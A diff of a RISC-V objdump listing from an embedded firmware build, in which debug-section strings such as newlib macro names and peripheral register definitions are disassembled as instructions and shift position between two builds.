+    9c06:	6e69                	lui	t3,0x1a
+    9c08:	0074                	addi	a3,sp,12
+    9c0a:	4e49                	li	t3,18
+    9c0c:	3154                	fld	fa3,160(a0)
+    9c0e:	5f36                	lw	t5,108(sp)
+    9c10:	494d                	li	s2,19
+    9c12:	204e                	fld	ft0,208(sp)
+    9c14:	2d28                	fld	fa0,88(a0)
+    9c16:	4e49                	li	t3,18
+    9c18:	3154                	fld	fa3,160(a0)
+    9c1a:	5f36                	lw	t5,108(sp)
+    9c1c:	414d                	li	sp,19
+    9c1e:	2058                	fld	fa4,128(s0)
+    9c20:	202d                	jal	9c4a <__stack_size+0x944a>
+    9c22:	2931                	jal	a03e <__stack_size+0x983e>
+    9c24:	5f00                	lw	s0,56(a4)
+    9c26:	4552                	lw	a0,20(sp)
+    9c28:	4e45                	li	t3,17
+    9c2a:	5f54                	lw	a3,60(a4)
+    9c2c:	424d                	li	tp,19
+    9c2e:	4f54                	lw	a3,28(a4)
+    9c30:	535f4357          	0x535f4357
+    9c34:	4154                	lw	a3,4(a0)
+    9c36:	4554                	lw	a3,12(a0)
+    9c38:	7028                	flw	fa0,96(s0)
+    9c3a:	7274                	flw	fa3,100(a2)
+    9c3c:	2029                	jal	9c46 <__stack_size+0x9446>
+    9c3e:	2828                	fld	fa0,80(s0)
+    9c40:	7470                	flw	fa2,108(s0)
+    9c42:	2972                	fld	fs2,280(sp)
+    9c44:	3e2d                	jal	977e <__stack_size+0x8f7e>
+    9c46:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    9c4c:	6572                	flw	fa0,28(sp)
+    9c4e:	6e65                	lui	t3,0x19
+    9c50:	2e74                	fld	fa3,216(a2)
+    9c52:	6d5f 7462 776f      	0x776f74626d5f
+    9c58:	74735f63          	bge	t1,t2,a3b6 <__stack_size+0x9bb6>
+    9c5c:	7461                	lui	s0,0xffff8
+    9c5e:	2965                	jal	a116 <__stack_size+0x9916>
+    9c60:	5f00                	lw	s0,56(a4)
+    9c62:	435f4353          	0x435f4353
+    9c66:	5f4c4c4f          	fnmadd.q	fs8,fs8,fs4,fa1,rmm
+    9c6a:	47494557          	0x47494557
+    9c6e:	5448                	lw	a0,44(s0)
+    9c70:	414d5f53          	0x414d5f53
+    9c74:	2058                	fld	fa4,128(s0)
+    9c76:	3236                	fld	ft4,360(sp)
+    9c78:	5000                	lw	s0,32(s0)
+    9c7a:	435f4d57          	0x435f4d57
+    9c7e:	4746                	lw	a4,80(sp)
+    9c80:	3020                	fld	fs0,96(s0)
+    9c82:	3078                	fld	fa4,224(s0)
+    9c84:	0030                	addi	a2,sp,8
+    9c86:	57525343          	fmadd.q	ft6,ft4,fs5,fa0,unknown
+    9c8a:	6328                	flw	fa0,64(a4)
+    9c8c:	722c7273          	csrrci	tp,0x722,24
+    9c90:	28202973          	csrr	s2,0x282
+    9c94:	6669207b          	0x6669207b
+    9c98:	2820                	fld	fs0,80(s0)
+    9c9a:	5f5f 7562 6c69      	0x6c6975625f5f
+    9ca0:	6974                	flw	fa3,84(a0)
+    9ca2:	5f6e                	lw	t5,248(sp)
+    9ca4:	736e6f63          	bltu	t3,s6,a3e2 <__stack_size+0x9be2>
+    9ca8:	6174                	flw	fa3,68(a0)
+    9caa:	746e                	flw	fs0,248(sp)
+    9cac:	705f 7228 2973      	0x29737228705f
+    9cb2:	2620                	fld	fs0,72(a2)
+    9cb4:	2026                	fld	ft0,72(sp)
+    9cb6:	7528                	flw	fa0,104(a0)
+    9cb8:	736e                	flw	ft6,248(sp)
+    9cba:	6769                	lui	a4,0x1a
+    9cbc:	656e                	flw	fa0,216(sp)
+    9cbe:	2064                	fld	fs1,192(s0)
+    9cc0:	6f6c                	flw	fa1,92(a4)
+    9cc2:	676e                	flw	fa4,216(sp)
+    9cc4:	2829                	jal	9cde <__stack_size+0x94de>
+    9cc6:	7372                	flw	ft6,60(sp)
+    9cc8:	2029                	jal	9cd2 <__stack_size+0x94d2>
+    9cca:	203c                	fld	fa5,64(s0)
+    9ccc:	20293233          	0x20293233
+    9cd0:	7361                	lui	t1,0xffff8
+    9cd2:	206d                	jal	9d7c <__stack_size+0x957c>
+    9cd4:	6f76                	flw	ft10,92(sp)
+    9cd6:	616c                	flw	fa1,68(a0)
+    9cd8:	6974                	flw	fa3,84(a0)
+    9cda:	656c                	flw	fa1,76(a0)
+    9cdc:	2820                	fld	fs0,80(s0)
+    9cde:	6322                	flw	ft6,8(sp)
+    9ce0:	20777273          	csrrci	tp,0x207,14
+    9ce4:	2022                	fld	ft0,8(sp)
+    9ce6:	72736323          	0x72736323
+    9cea:	2220                	fld	fs0,64(a2)
+    9cec:	202c                	fld	fa1,64(s0)
+    9cee:	3025                	jal	9516 <__stack_size+0x8d16>
+    9cf0:	2022                	fld	ft0,8(sp)
+    9cf2:	3a3a                	fld	fs4,424(sp)
+    9cf4:	2220                	fld	fs0,64(a2)
+    9cf6:	7228224b          	fnmsub.d	ft4,fa6,ft2,fa4,rdn
+    9cfa:	3b292973          	csrrs	s2,pmpaddr2,s2
+    9cfe:	6520                	flw	fs0,72(a0)
+    9d00:	736c                	flw	fa1,100(a4)
+    9d02:	2065                	jal	9daa <__stack_size+0x95aa>
+    9d04:	7361                	lui	t1,0xffff8
+    9d06:	206d                	jal	9db0 <__stack_size+0x95b0>
+    9d08:	6f76                	flw	ft10,92(sp)
+    9d0a:	616c                	flw	fa1,68(a0)
+    9d0c:	6974                	flw	fa3,84(a0)
+    9d0e:	656c                	flw	fa1,76(a0)
+    9d10:	2820                	fld	fs0,80(s0)
+    9d12:	6322                	flw	ft6,8(sp)
+    9d14:	20777273          	csrrci	tp,0x207,14
+    9d18:	2022                	fld	ft0,8(sp)
+    9d1a:	72736323          	0x72736323
+    9d1e:	2220                	fld	fs0,64(a2)
+    9d20:	202c                	fld	fa1,64(s0)
+    9d22:	3025                	jal	954a <__stack_size+0x8d4a>
+    9d24:	2022                	fld	ft0,8(sp)
+    9d26:	3a3a                	fld	fs4,424(sp)
+    9d28:	2220                	fld	fs0,64(a2)
+    9d2a:	2272                	fld	ft4,280(sp)
+    9d2c:	7228                	flw	fa0,96(a2)
+    9d2e:	3b292973          	csrrs	s2,pmpaddr2,s2
+    9d32:	7d20                	flw	fs0,120(a0)
+    9d34:	0029                	c.nop	10
+    9d36:	535f 5f43 4f48      	0x4f485f43535f
+    9d3c:	4e5f5453          	0x4e5f5453
+    9d40:	4d41                	li	s10,16
+    9d42:	5f45                	li	t5,-15
+    9d44:	414d                	li	sp,19
+    9d46:	2058                	fld	fa4,128(s0)
+    9d48:	3536                	fld	fa0,360(sp)
+    9d4a:	4600                	lw	s0,8(a2)
+    9d4c:	4c49                	li	s8,18
+    9d4e:	4e45                	li	t3,17
+    9d50:	4d41                	li	s10,16
+    9d52:	5f45                	li	t5,-15
+    9d54:	414d                	li	sp,19
+    9d56:	2058                	fld	fa4,128(s0)
+    9d58:	3031                	jal	9564 <__stack_size+0x8d64>
+    9d5a:	3432                	fld	fs0,296(sp)
+    9d5c:	5f00                	lw	s0,56(a4)
+    9d5e:	535f 5752 3020      	0x30205752535f
+    9d64:	3078                	fld	fa4,224(s0)
+    9d66:	3130                	fld	fa2,96(a0)
+    9d68:	0030                	addi	a2,sp,8
+    9d6a:	5f5f 4955 544e      	0x544e49555f5f
+    9d70:	5450                	lw	a2,44(s0)
+    9d72:	5f52                	lw	t5,52(sp)
+    9d74:	5954                	lw	a3,52(a0)
+    9d76:	4550                	lw	a2,12(a0)
+    9d78:	5f5f 7520 736e      	0x736e75205f5f
+    9d7e:	6769                	lui	a4,0x1a
+    9d80:	656e                	flw	fa0,216(sp)
+    9d82:	2064                	fld	fs1,192(s0)
+    9d84:	6e69                	lui	t3,0x1a
+    9d86:	0074                	addi	a3,sp,12
+    9d88:	454d                	li	a0,19
+    9d8a:	47415353          	0x47415353
+    9d8e:	5f45                	li	t5,-15
+    9d90:	5542                	lw	a0,48(sp)
+    9d92:	4646                	lw	a2,80(sp)
+    9d94:	5245                	li	tp,-15
+    9d96:	4c5f 4e45 5447      	0x54474e454c5f
+    9d9c:	2048                	fld	fa0,128(s0)
+    9d9e:	3231                	jal	96aa <__stack_size+0x8eaa>
+    9da0:	0038                	addi	a4,sp,8
+    9da2:	5f5f 4854 4f52      	0x4f5248545f5f
+    9da8:	55002057          	0x55002057
+    9dac:	54524853          	0x54524853
+    9db0:	4d5f 5841 2820      	0x282058414d5f
+    9db6:	54524853          	0x54524853
+    9dba:	4d5f 5841 2a20      	0x2a2058414d5f
+    9dc0:	3220                	fld	fs0,96(a2)
+    9dc2:	2b20                	fld	fs0,80(a4)
+    9dc4:	3120                	fld	fs0,96(a0)
+    9dc6:	0029                	c.nop	10
+    9dc8:	4e49                	li	t3,18
+    9dca:	5f54                	lw	a3,60(a4)
+    9dcc:	4146                	lw	sp,80(sp)
+    9dce:	36315453          	0x36315453
+    9dd2:	4d5f 5841 5f20      	0x5f2058414d5f
+    9dd8:	495f 544e 465f      	0x465f544e495f
     9dde:	5341                	li	t1,-16
-    9de0:	20434f53          	0x20434f53
-    9de4:	3231                	jal	96f0 <__stack_size+0x8ef0>
-    9de6:	0036                	c.slli	zero,0xd
-    9de8:	5f5f 6c63 636f      	0x636f6c635f5f
-    9dee:	5f64696b          	0x5f64696b
-    9df2:	5f74                	lw	a3,124(a4)
-    9df4:	6564                	flw	fs1,76(a0)
-    9df6:	6966                	flw	fs2,88(sp)
-    9df8:	656e                	flw	fa0,216(sp)
-    9dfa:	2064                	fld	fs1,192(s0)
-    9dfc:	5f00                	lw	s0,56(a4)
-    9dfe:	454e                	lw	a0,208(sp)
-    9e00:	42494c57          	0x42494c57
-    9e04:	565f 5245 4953      	0x49535245565f
-    9e0a:	22204e4f          	fnmadd.d	ft8,ft0,ft2,ft4,rmm
-    9e0e:	2e322e33          	0x2e322e33
-    9e12:	2230                	fld	fa2,64(a2)
-    9e14:	5f00                	lw	s0,56(a4)
-    9e16:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9e1c:	414d                	li	sp,19
-    9e1e:	5f58                	lw	a4,60(a4)
-    9e20:	5845                	li	a6,-15
-    9e22:	5f50                	lw	a2,60(a4)
-    9e24:	205f 3631 3833      	0x38333631205f
-    9e2a:	0034                	addi	a3,sp,8
-    9e2c:	69647473          	csrrci	s0,0x696,8
-    9e30:	206e                	fld	ft0,216(sp)
-    9e32:	5f28                	lw	a0,120(a4)
-    9e34:	4552                	lw	a0,20(sp)
-    9e36:	4e45                	li	t3,17
-    9e38:	2d54                	fld	fa3,152(a0)
-    9e3a:	5f3e                	lw	t5,236(sp)
-    9e3c:	69647473          	csrrci	s0,0x696,8
-    9e40:	296e                	fld	fs2,216(sp)
-    9e42:	5300                	lw	s0,32(a4)
-    9e44:	495f 4752 5052      	0x50524752495f
-    9e4a:	3020                	fld	fs0,96(s0)
-    9e4c:	3030                	fld	fa2,96(s0)
-    9e4e:	3030                	fld	fa2,96(s0)
-    9e50:	3034                	fld	fa3,96(s0)
-    9e52:	6d00                	flw	fs0,24(a0)
-    9e54:	7674                	flw	fa3,108(a2)
-    9e56:	6c61                	lui	s8,0x18
-    9e58:	4f00                	lw	s0,24(a4)
-    9e5a:	575f 4f52 4c4e      	0x4c4e4f52575f
-    9e60:	2059                	jal	9ee6 <__stack_size+0x96e6>
-    9e62:	0031                	c.nop	12
-    9e64:	5f46                	lw	t5,112(sp)
-    9e66:	5352                	lw	t1,52(sp)
-    9e68:	5445                	li	s0,-15
-    9e6a:	4b4c                	lw	a1,20(a4)
-    9e6c:	33312057          	0x33312057
-    9e70:	5f00                	lw	s0,56(a4)
-    9e72:	414d                	li	sp,19
-    9e74:	4e494843          	fmadd.q	fa6,fs2,ft4,fs1,rmm
-    9e78:	5f45                	li	t5,-15
-    9e7a:	545f 5059 5345      	0x53455059545f
-    9e80:	485f 0020 5f5f      	0x5f5f0020485f
-    9e86:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
-    9e8a:	4d5f 4e49 524f      	0x524f4e494d5f
-    9e90:	5f5f 3120 5f00      	0x5f0031205f5f
-    9e96:	535f 4454 5f43      	0x5f434454535f
-    9e9c:	5455                	li	s0,-11
-    9e9e:	5f46                	lw	t5,112(sp)
-    9ea0:	3631                	jal	99ac <__stack_size+0x91ac>
-    9ea2:	5f5f 3120 5300      	0x530031205f5f
-    9ea8:	495f 4346 5248      	0x52484346495f
-    9eae:	5f20                	lw	s0,120(a4)
-    9eb0:	4649                	li	a2,18
-    9eb2:	00524843          	fmadd.s	fa6,ft4,ft5,ft0,rmm
-    9eb6:	535f 5355 4345      	0x43455355535f
-    9ebc:	53444e4f          	fnmadd.d	ft8,fs0,fs4,fa0,rmm
-    9ec0:	545f 445f 4345      	0x4345445f545f
-    9ec6:	414c                	lw	a1,4(a0)
-    9ec8:	4552                	lw	a0,20(sp)
-    9eca:	2044                	fld	fs1,128(s0)
-    9ecc:	4f00                	lw	s0,24(a4)
-    9ece:	4550                	lw	a2,12(a0)
-    9ed0:	5f4e                	lw	t5,240(sp)
-    9ed2:	414d                	li	sp,19
-    9ed4:	2058                	fld	fa4,128(s0)
-    9ed6:	3436                	fld	fs0,360(sp)
-    9ed8:	5f00                	lw	s0,56(a4)
-    9eda:	555f 4e49 5f54      	0x5f544e49555f
-    9ee0:	454c                	lw	a1,12(a0)
-    9ee2:	5341                	li	t1,-16
-    9ee4:	3154                	fld	fa3,160(a0)
-    9ee6:	5f36                	lw	t5,108(sp)
-    9ee8:	5954                	lw	a3,52(a0)
-    9eea:	4550                	lw	a2,12(a0)
-    9eec:	5f5f 7320 6f68      	0x6f6873205f5f
-    9ef2:	7472                	flw	fs0,60(sp)
-    9ef4:	7520                	flw	fs0,104(a0)
-    9ef6:	736e                	flw	ft6,248(sp)
-    9ef8:	6769                	lui	a4,0x1a
-    9efa:	656e                	flw	fa0,216(sp)
-    9efc:	2064                	fld	fs1,192(s0)
-    9efe:	6e69                	lui	t3,0x1a
-    9f00:	0074                	addi	a3,sp,12
-    9f02:	535f 5f43 454c      	0x454c5f43535f
-    9f08:	4556                	lw	a0,84(sp)
-    9f0a:	334c                	fld	fa1,160(a4)
-    9f0c:	435f 4341 4548      	0x45484341435f
-    9f12:	4c5f 4e49 5345      	0x53454e494c5f
-    9f18:	5a49                	li	s4,-14
-    9f1a:	2045                	jal	9fba <__stack_size+0x97ba>
-    9f1c:	3331                	jal	9c28 <__stack_size+0x9428>
-    9f1e:	0036                	c.slli	zero,0xd
-    9f20:	5f5f 4955 544e      	0x544e49555f5f
-    9f26:	465f 5341 3654      	0x36545341465f
-    9f2c:	5f34                	lw	a3,120(a4)
-    9f2e:	414d                	li	sp,19
-    9f30:	5f58                	lw	a4,60(a4)
-    9f32:	205f 7830 6666      	0x66667830205f
-    9f38:	6666                	flw	fa2,88(sp)
-    9f3a:	6666                	flw	fa2,88(sp)
-    9f3c:	6666                	flw	fa2,88(sp)
-    9f3e:	6666                	flw	fa2,88(sp)
-    9f40:	6666                	flw	fa2,88(sp)
-    9f42:	6666                	flw	fa2,88(sp)
-    9f44:	6666                	flw	fa2,88(sp)
-    9f46:	4c55                	li	s8,21
-    9f48:	004c                	addi	a1,sp,4
-    9f4a:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    9f4e:	434d                	li	t1,19
-    9f50:	5541                	li	a0,-16
-    9f52:	35204553          	0x35204553
-    9f56:	4900                	lw	s0,16(a0)
-    9f58:	544e                	lw	s0,240(sp)
-    9f5a:	414d                	li	sp,19
-    9f5c:	5f58                	lw	a4,60(a4)
-    9f5e:	414d                	li	sp,19
-    9f60:	2058                	fld	fa4,128(s0)
-    9f62:	5f5f 4e49 4d54      	0x4d544e495f5f
-    9f68:	5841                	li	a6,-16
-    9f6a:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9f70:	5000                	lw	s0,32(s0)
-    9f72:	435f4d57          	0x435f4d57
-    9f76:	4746                	lw	a4,80(sp)
-    9f78:	435f 504d 4331      	0x4331504d435f
-    9f7e:	4e45                	li	t3,17
-    9f80:	4554                	lw	a3,12(a0)
-    9f82:	2052                	fld	ft0,272(sp)
-    9f84:	7830                	flw	fa2,112(s0)
-    9f86:	3030                	fld	fa2,96(s0)
-    9f88:	3230                	fld	fa2,96(a2)
-    9f8a:	3030                	fld	fa2,96(s0)
-    9f8c:	3030                	fld	fa2,96(s0)
-    9f8e:	5000                	lw	s0,32(s0)
-    9f90:	535f4d57          	0x535f4d57
-    9f94:	3020                	fld	fs0,96(s0)
-    9f96:	3178                	fld	fa4,224(a0)
-    9f98:	0030                	addi	a2,sp,8
-    9f9a:	5f46                	lw	t5,112(sp)
-    9f9c:	4c54                	lw	a3,28(s0)
-    9f9e:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    9fa2:	0032                	c.slli	zero,0xc
-    9fa4:	415f 4654 4c49      	0x4c494654415f
-    9faa:	5f45                	li	t5,-15
-    9fac:	52554f53          	0x52554f53
-    9fb0:	5f004543          	fmadd.q	fa0,ft0,fa6,fa1,rmm
-    9fb4:	415f4353          	0x415f4353
-    9fb8:	5644                	lw	s1,44(a2)
-    9fba:	5349                	li	t1,-14
-    9fbc:	5f59524f          	fnmadd.q	ft4,fs2,fs5,fa1,unknown
-    9fc0:	4e49                	li	t3,18
-    9fc2:	4f46                	lw	t5,80(sp)
-    9fc4:	3520                	fld	fs0,104(a0)
-    9fc6:	0034                	addi	a3,sp,8
-    9fc8:	4d44                	lw	s1,28(a0)
-    9fca:	5f41                	li	t5,-16
-    9fcc:	4552                	lw	a0,20(sp)
-    9fce:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
-    9fd2:	7366                	flw	ft6,120(sp)
-    9fd4:	7465                	lui	s0,0xffff9
-    9fd6:	2029                	jal	9fe0 <__stack_size+0x97e0>
-    9fd8:	525f 4745 3233      	0x32334745525f
-    9fde:	4428                	lw	a0,72(s0)
-    9fe0:	414d                	li	sp,19
-    9fe2:	425f 5341 2c45      	0x2c455341425f
-    9fe8:	6f20                	flw	fs0,88(a4)
-    9fea:	6666                	flw	fa2,88(sp)
-    9fec:	29746573          	csrrsi	a0,0x297,8
-    9ff0:	5f00                	lw	s0,56(a4)
-    9ff2:	765f 6c6f 7461      	0x74616c6f765f
-    9ff8:	6c69                	lui	s8,0x1a
-    9ffa:	2065                	jal	a0a2 <__stack_size+0x98a2>
-    9ffc:	6f76                	flw	ft10,92(sp)
-    9ffe:	616c                	flw	fa1,68(a0)
-    a000:	6974                	flw	fa3,84(a0)
-    a002:	656c                	flw	fa1,76(a0)
-    a004:	4900                	lw	s0,16(a0)
-    a006:	544e                	lw	s0,240(sp)
-    a008:	465f 5341 3354      	0x33545341465f
-    a00e:	5f32                	lw	t5,44(sp)
-    a010:	414d                	li	sp,19
-    a012:	2058                	fld	fa4,128(s0)
-    a014:	5f5f 4e49 5f54      	0x5f544e495f5f
-    a01a:	4146                	lw	sp,80(sp)
-    a01c:	32335453          	0x32335453
-    a020:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    a026:	5500                	lw	s0,40(a0)
-    a028:	4e49                	li	t3,18
-    a02a:	4d54                	lw	a3,28(a0)
-    a02c:	5841                	li	a6,-16
-    a02e:	4d5f 5841 5f20      	0x5f2058414d5f
-    a034:	555f 4e49 4d54      	0x4d544e49555f
-    a03a:	5841                	li	a6,-16
-    a03c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    a042:	4900                	lw	s0,16(a0)
-    a044:	544e                	lw	s0,240(sp)
-    a046:	465f 5341 3654      	0x36545341465f
-    a04c:	5f34                	lw	a3,120(a4)
-    a04e:	494d                	li	s2,19
-    a050:	204e                	fld	ft0,208(sp)
-    a052:	2d28                	fld	fa0,88(a0)
-    a054:	4e49                	li	t3,18
-    a056:	5f54                	lw	a3,60(a4)
-    a058:	4146                	lw	sp,80(sp)
-    a05a:	34365453          	0x34365453
-    a05e:	4d5f 5841 2d20      	0x2d2058414d5f
-    a064:	3120                	fld	fs0,96(a0)
-    a066:	0029                	c.nop	10
-    a068:	5f646d63          	bltu	s0,s6,a662 <__stack_size+0x9e62>
-    a06c:	6168                	flw	fa0,68(a0)
-    a06e:	646e                	flw	fs0,216(sp)
-    a070:	656c                	flw	fa1,76(a0)
-    a072:	0072                	c.slli	zero,0x1c
-    a074:	5f5f 4e49 5f54      	0x5f544e495f5f
-    a07a:	454c                	lw	a1,12(a0)
-    a07c:	5341                	li	t1,-16
-    a07e:	3354                	fld	fa3,160(a4)
-    a080:	5f32                	lw	t5,44(sp)
-    a082:	5954                	lw	a3,52(a0)
-    a084:	4550                	lw	a2,12(a0)
-    a086:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    a08c:	6e692067          	0x6e692067
-    a090:	0074                	addi	a3,sp,12
-    a092:	5f5f 4c46 3354      	0x33544c465f5f
-    a098:	5f32                	lw	t5,44(sp)
-    a09a:	4f4e                	lw	t5,208(sp)
-    a09c:	4d52                	lw	s10,20(sp)
-    a09e:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    a0a4:	3320                	fld	fs0,96(a4)
-    a0a6:	342e                	fld	fs0,232(sp)
-    a0a8:	3230                	fld	fa2,96(a2)
-    a0aa:	3238                	fld	fa4,96(a2)
-    a0ac:	36363433          	0x36363433
-    a0b0:	32353833          	0x32353833
-    a0b4:	3838                	fld	fa4,112(s0)
-    a0b6:	3935                	jal	9cf2 <__stack_size+0x94f2>
-    a0b8:	3138                	fld	fa4,96(a0)
-    a0ba:	3731                	jal	9fc6 <__stack_size+0x97c6>
-    a0bc:	3430                	fld	fa2,104(s0)
-    a0be:	3831                	jal	98da <__stack_size+0x90da>
-    a0c0:	34383433          	0x34383433
-    a0c4:	3135                	jal	9cf0 <__stack_size+0x94f0>
-    a0c6:	3936                	fld	fs2,360(sp)
-    a0c8:	3532                	fld	fa0,296(sp)
-    a0ca:	2b65                	jal	a682 <__stack_size+0x9e82>
-    a0cc:	33463833          	0x33463833
-    a0d0:	0032                	c.slli	zero,0xc
-    a0d2:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    a0d8:	4349                	li	t1,18
-    a0da:	535f 5145 435f      	0x435f5145535f
-    a0e0:	35205453          	0x35205453
-    a0e4:	5f00                	lw	s0,56(a4)
-    a0e6:	555f 4e49 3354      	0x33544e49555f
-    a0ec:	5f32                	lw	t5,44(sp)
-    a0ee:	414d                	li	sp,19
-    a0f0:	5f58                	lw	a4,60(a4)
-    a0f2:	205f 7830 6666      	0x66667830205f
-    a0f8:	6666                	flw	fa2,88(sp)
-    a0fa:	6666                	flw	fa2,88(sp)
-    a0fc:	6666                	flw	fa2,88(sp)
-    a0fe:	4c55                	li	s8,21
-    a100:	4700                	lw	s0,8(a4)
-    a102:	4950                	lw	a2,20(a0)
-    a104:	49525f4f          	fnmadd.s	ft10,ft4,fs5,fs1,unknown
-    a108:	495f4553          	0x495f4553
-    a10c:	2045                	jal	a1ac <__stack_size+0x99ac>
-    a10e:	7830                	flw	fa2,112(s0)
-    a110:	3831                	jal	992c <__stack_size+0x912c>
-    a112:	5f00                	lw	s0,56(a4)
-    a114:	465f 544c 3436      	0x3436544c465f
-    a11a:	5f58                	lw	a4,60(a4)
-    a11c:	4544                	lw	s1,12(a0)
-    a11e:	4f4e                	lw	t5,208(sp)
-    a120:	4d52                	lw	s10,20(sp)
-    a122:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    a128:	3620                	fld	fs0,104(a2)
-    a12a:	342e                	fld	fs0,232(sp)
-    a12c:	37313537          	lui	a0,0x37313
-    a130:	3135                	jal	9d5c <__stack_size+0x955c>
-    a132:	3931                	jal	9d4e <__stack_size+0x954e>
-    a134:	3334                	fld	fa3,96(a4)
-    a136:	3038                	fld	fa4,96(s0)
-    a138:	3532                	fld	fa0,296(sp)
-    a13a:	3131                	jal	9d46 <__stack_size+0x9546>
-    a13c:	3930                	fld	fa2,112(a0)
-    a13e:	3432                	fld	fs0,296(sp)
-    a140:	3334                	fld	fa3,96(a4)
-    a142:	3938                	fld	fa4,112(a0)
-    a144:	3835                	jal	9980 <__stack_size+0x9180>
-    a146:	3232                	fld	ft4,296(sp)
-    a148:	36343637          	lui	a2,0x36343
-    a14c:	3535                	jal	9f78 <__stack_size+0x9778>
-    a14e:	2d65                	jal	a806 <__stack_size+0xa006>
-    a150:	3934                	fld	fa3,112(a0)
-    a152:	3636                	fld	fa2,360(sp)
-    a154:	3646                	fld	fa2,112(sp)
-    a156:	7834                	flw	fa3,112(s0)
-    a158:	4600                	lw	s0,8(a2)
-    a15a:	525f 4553 4c54      	0x4c544553525f
-    a160:	3131204b          	fnmsub.s	ft0,ft2,fs3,ft6,rdn
-    a164:	5f00                	lw	s0,56(a4)
-    a166:	65647473          	csrrci	s0,0x656,8
-    a16a:	7272                	flw	ft4,60(sp)
-    a16c:	725f 7828 2029      	0x20297828725f
-    a172:	2828                	fld	fa0,80(s0)
-    a174:	2978                	fld	fa4,208(a0)
-    a176:	3e2d                	jal	9cb0 <__stack_size+0x94b0>
-    a178:	735f 6474 7265      	0x72656474735f
-    a17e:	2972                	fld	fs2,280(sp)
-    a180:	5f00                	lw	s0,56(a4)
-    a182:	465f4353          	0x465f4353
-    a186:	434e5953          	0x434e5953
-    a18a:	3220                	fld	fs0,96(a2)
-    a18c:	0032                	c.slli	zero,0xc
-    a18e:	4e5f 5745 494c      	0x494c57454e5f
-    a194:	5f42                	lw	t5,48(sp)
-    a196:	49445453          	0x49445453
-    a19a:	20485f4f          	fnmadd.s	ft10,fa6,ft4,ft4,unknown
-    a19e:	5f00                	lw	s0,56(a4)
-    a1a0:	475f 554e 5f43      	0x5f43554e475f
-    a1a6:	4150                	lw	a2,4(a0)
-    a1a8:	4354                	lw	a3,4(a4)
-    a1aa:	4c48                	lw	a0,28(s0)
-    a1ac:	5645                	li	a2,-15
-    a1ae:	4c45                	li	s8,17
-    a1b0:	5f5f 3020 5f00      	0x5f0030205f5f
-    a1b6:	735f 6567 6374      	0x63746567735f
-    a1bc:	725f 5f28 705f      	0x705f5f28725f
-    a1c2:	7274                	flw	fa3,100(a2)
-    a1c4:	5f2c                	lw	a1,120(a4)
-    a1c6:	705f 2029 5f5f      	0x5f5f2029705f
-    a1cc:	74656773          	csrrsi	a4,0x746,10
-    a1d0:	61725f63          	bge	tp,s7,a7ee <__stack_size+0x9fee>
-    a1d4:	28725f77          	0x28725f77
+    9de0:	3154                	fld	fa3,160(a0)
+    9de2:	5f36                	lw	t5,108(sp)
+    9de4:	414d                	li	sp,19
+    9de6:	5f58                	lw	a4,60(a4)
+    9de8:	005f 5f5f 4c46      	0x4c465f5f005f
+    9dee:	5f54                	lw	a3,60(a4)
+    9df0:	494d                	li	s2,19
+    9df2:	5f4e                	lw	t5,240(sp)
+    9df4:	205f 2e31 3731      	0x37312e31205f
+    9dfa:	3435                	jal	9826 <__stack_size+0x9026>
+    9dfc:	3439                	jal	980a <__stack_size+0x900a>
+    9dfe:	38303533          	0x38303533
+    9e02:	3232                	fld	ft4,296(sp)
+    9e04:	3832                	fld	fa6,296(sp)
+    9e06:	37303537          	lui	a0,0x37303
+    9e0a:	3639                	jal	9918 <__stack_size+0x9118>
+    9e0c:	3738                	fld	fa4,104(a4)
+    9e0e:	33353633          	0x33353633
+    9e12:	32323237          	lui	tp,0x32323
+    9e16:	3432                	fld	fs0,296(sp)
+    9e18:	3635                	jal	9944 <__stack_size+0x9144>
+    9e1a:	6538                	flw	fa4,72(a0)
+    9e1c:	332d                	jal	9b46 <__stack_size+0x9346>
+    9e1e:	4638                	lw	a4,72(a2)
+    9e20:	5f00                	lw	s0,56(a4)
+    9e22:	4c5f4353          	0x4c5f4353
+    9e26:	5645                	li	a2,-15
+    9e28:	4c45                	li	s8,17
+    9e2a:	5f31                	li	t5,-20
+    9e2c:	4349                	li	t1,18
+    9e2e:	4341                	li	t1,16
+    9e30:	4548                	lw	a0,12(a0)
+    9e32:	415f 5353 434f      	0x434f5353415f
+    9e38:	3120                	fld	fs0,96(a0)
+    9e3a:	3632                	fld	fa2,296(sp)
+    9e3c:	5f00                	lw	s0,56(a4)
+    9e3e:	635f 6f6c 6b63      	0x6b636f6c635f
+    9e44:	6469                	lui	s0,0x1a
+    9e46:	745f 645f 6665      	0x6665645f745f
+    9e4c:	6e69                	lui	t3,0x1a
+    9e4e:	6465                	lui	s0,0x19
+    9e50:	0020                	addi	s0,sp,8
+    9e52:	6d49                	lui	s10,0x12
+    9e54:	6c70                	flw	fa2,92(s0)
+    9e56:	6369                	lui	t1,0x1a
+    9e58:	7469                	lui	s0,0xffffa
+    9e5a:	7246                	flw	ft4,112(sp)
+    9e5c:	6565                	lui	a0,0x19
+    9e5e:	5f00                	lw	s0,56(a4)
+    9e60:	454e                	lw	a0,208(sp)
+    9e62:	42494c57          	0x42494c57
+    9e66:	565f 5245 4953      	0x49535245565f
+    9e6c:	22204e4f          	fnmadd.d	ft8,ft0,ft2,ft4,rmm
+    9e70:	2e322e33          	0x2e322e33
+    9e74:	2230                	fld	fa2,64(a2)
+    9e76:	5f00                	lw	s0,56(a4)
+    9e78:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    9e7e:	414d                	li	sp,19
+    9e80:	5f58                	lw	a4,60(a4)
+    9e82:	5845                	li	a6,-15
+    9e84:	5f50                	lw	a2,60(a4)
+    9e86:	205f 3631 3833      	0x38333631205f
+    9e8c:	0034                	addi	a3,sp,8
+    9e8e:	69647473          	csrrci	s0,0x696,8
+    9e92:	206e                	fld	ft0,216(sp)
+    9e94:	5f28                	lw	a0,120(a4)
+    9e96:	4552                	lw	a0,20(sp)
+    9e98:	4e45                	li	t3,17
